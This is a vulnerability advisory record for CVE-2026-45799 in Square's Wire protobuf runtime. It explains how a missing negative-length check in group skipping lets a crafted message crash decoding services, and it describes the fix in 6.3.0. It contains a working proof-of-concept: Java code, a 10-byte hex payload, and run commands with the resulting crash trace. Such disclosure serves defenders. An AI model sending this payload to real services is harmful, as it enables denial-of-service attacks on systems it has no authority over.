{"id":"CVE-2026-45799","aliases":["GHSA-7xpr-hc2w-34m9"],"url":"https://o3.security/vulnerability/CVE-2026-45799","summary":"Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service","details":"# CVE-2026-45799\n\n## Maintainer summary\n\nWire's protobuf group-skipping logic did not reject negative lengths before skipping a\nlength-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an\nunchecked runtime exception during decoding instead of the documented `IOException` /\n`ProtocolException` failure path.\n\nThis can crash services that decode untrusted protobuf payloads and only handle Wire's documented\nchecked decoding failures.\n\n## Affected artifacts\n\n### `com.squareup.wire:wire-runtime`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### `com.squareup.wire:wire-runtime-jvm`\n\nAffected versions: vulnerable releases before `6.3.0`.\n\nPatched versions: `6.3.0` and later.\n\nUsers should upgrade to `com.squareup.wire:wire-runtime:6.3.0` or later.\n\n### Wire 7 alpha releases\n\nThe fix has been merged to `master` and will be included in the next Wire 7 alpha release. Until\nthat release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with\naffected alpha versions or build from a commit containing the fix.\n\n## Fix\n\nThe issue is fixed in Wire `6.3.0`.\n\nThe fix rejects negative lengths while skipping groups and throws `ProtocolException` instead of\nallowing the reader to move to an invalid position and later throw an unchecked runtime exception.\n\n## Credit\n\nReported by @TrekLaps.\n\n## Technical details\n\nThe following technical details are based on the original report, updated by the maintainers to\nreflect the assigned CVE, the supported fixed artifact, and the discontinued status of\n`com.squareup.wire:wire-runtime-jvm`.\n\n`ByteArrayProtoReader32.skipGroup()` in `wire-runtime` did not validate that a\n`LENGTH_DELIMITED` field's length is non-negative before calling `skip()`. A crafted protobuf\nvarint encodes `-128` as a signed `Int`. When `skip(-128)` runs, the internal position counter\nunderflows to an invalid negative position. The next `readByte()` accesses the source with that\nnegative position, throwing `ArrayIndexOutOfBoundsException`, a `RuntimeException` that escapes\nWire's documented `IOException` boundary and can crash the request handler.\n\n`ProtoAdapter.decode(byte[])` is declared to throw `IOException`. Callers following the documented\nAPI may catch only `IOException`, so unchecked runtime exceptions from malformed input can escape\nthe expected error boundary.\n\nThe originally confirmed vulnerable legacy versions include `5.3.1` and `5.3.3` for the\ndiscontinued `com.squareup.wire:wire-runtime-jvm` coordinate. The supported replacement coordinate\nis `com.squareup.wire:wire-runtime`, fixed in version `6.3.0`.\n\n## Root cause\n\nIn the originally reported vulnerable code path, `ByteArrayProtoReader32.skipGroup()` read the\nlength as a signed `Int` and used it without validating that it was non-negative:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n  val length = internalReadVarint32() // returns signed Int and can be negative\n  skip(length)                        // no negative check\n}\n```\n\nThe internal `skip()` implementation then accepted the negative count because the computed\nposition was not greater than the limit:\n\n```kotlin\nprivate fun skip(byteCount: Int) {\n  val newPos = pos + byteCount        // for example, 7 + (-128) = -121\n  if (newPos > limit) throw EOFException()\n  pos = newPos                        // pos = -121\n}\n```\n\nThe next read could then index the source with the invalid negative position:\n\n```kotlin\nprivate fun readByte(): Byte {\n  if (pos == limit) throw EOFException()\n  return source[pos++]                // source[-121] throws ArrayIndexOutOfBoundsException\n}\n```\n\nWire already rejected negative lengths in normal length-delimited field decoding. The same\nvalidation was missing from group-skipping code.\n\nThe fix adds this validation when skipping groups:\n\n```kotlin\nSTATE_LENGTH_DELIMITED -> {\n  val length = internalReadVarint32()\n  if (length < 0) throw ProtocolException(\"Negative length: $length...\")\n  skip(length)\n}\n```\n\nThe fix was applied to both `ByteArrayProtoReader32.skipGroup()` and `ProtoReader.skipGroup()`.\n\n## Reproduction\n\nThe following reproduction was provided for vulnerable legacy `wire-runtime-jvm` releases such as\n`5.3.1` and `5.3.3`:\n\n```bash\ncurl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar\ncurl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar\ncurl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar\n```\n\n```java\n// WirePoc.java\nimport com.squareup.wire.AnyMessage;\n\npublic class WirePoc {\n  public static void main(String[] args) throws Exception {\n    byte[] payload = new byte[] {\n      (byte) 0x9B, 0x06,                                          // field 99, START_GROUP\n      0x0A,                                                       // field 1, LENGTH_DELIMITED\n      (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128\n      (byte) 0x9C, 0x06                                           // field 99, END_GROUP\n    };\n\n    AnyMessage.ADAPTER.decode(payload);\n  }\n}\n```\n\n```bash\njavac -cp \"wire.jar:okio.jar:stdlib.jar\" WirePoc.java\njava -cp \".:wire.jar:okio.jar:stdlib.jar\" WirePoc\n```\n\nObserved output on vulnerable versions:\n\n```text\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10\n    at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)\n    at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)\n    at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)\n    at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)\n    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)\n    at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)\n    at WirePoc.main(WirePoc.java:10)\n```\n\nWith the fix, the same payload is rejected with `ProtocolException`.\n\n## Why this can affect any Wire-decoding service\n\n`skipGroup()` is called for any unknown field with wire type 3. An attacker can send an unknown\nfield, such as field 99, with wire type `START_GROUP`. The decoder skips it via `skipGroup()`\nregardless of which message type the service uses, so no schema knowledge is required.\n\nPayload:\n\n```text\n9b060a80ffffff0f9c06\n```\n\nPayload breakdown:\n\n```text\n0x9B 0x06                 field 99, wire type 3 (START_GROUP)\n0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group\n0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int\n0x9C 0x06                 field 99, END_GROUP\n```","published":"2026-07-17T19:49:30.331Z","modified":"2026-08-14T04:03:46.200438858Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00546,"percentile":0.43197,"asOf":"2026-08-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"com.squareup.wire:wire-runtime-jvm","fixedVersion":"6.3.0"},{"ecosystem":"Maven","name":"com.squareup.wire:wire-runtime","fixedVersion":"6.3.0"},{"ecosystem":"Maven","name":"com.squareup.wire:wire-runtime","fixedVersion":"7.0.0-alpha03"},{"ecosystem":"Maven","name":"com.squareup.wire:wire-runtime-jvm","fixedVersion":"7.0.0-alpha03"}],"fix":{"url":"https://github.com/square/wire/commit/47d5b0dba53935d5332cd41a80a353b3fc90e7b0","label":"square/wire@47d5b0d"},"references":[{"type":"WEB","url":"https://github.com/square/wire/releases/tag/6.3.0"},{"type":"WEB","url":"https://github.com/square/wire/releases/tag/7.0.0-alpha03"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45799.json"},{"type":"ADVISORY","url":"https://github.com/square/wire/security/advisories/GHSA-7xpr-hc2w-34m9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45799"},{"type":"FIX","url":"https://github.com/square/wire/commit/47d5b0dba53935d5332cd41a80a353b3fc90e7b0"},{"type":"FIX","url":"https://github.com/square/wire/commit/e4e56fab38a547d9625f05c97f1d8f0bcc3a5773"},{"type":"FIX","url":"https://github.com/square/wire/pull/3595"},{"type":"FIX","url":"https://github.com/square/wire/pull/3597"},{"type":"PACKAGE","url":"https://github.com/square/wire"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-14T04:03:46.200438858Z"}}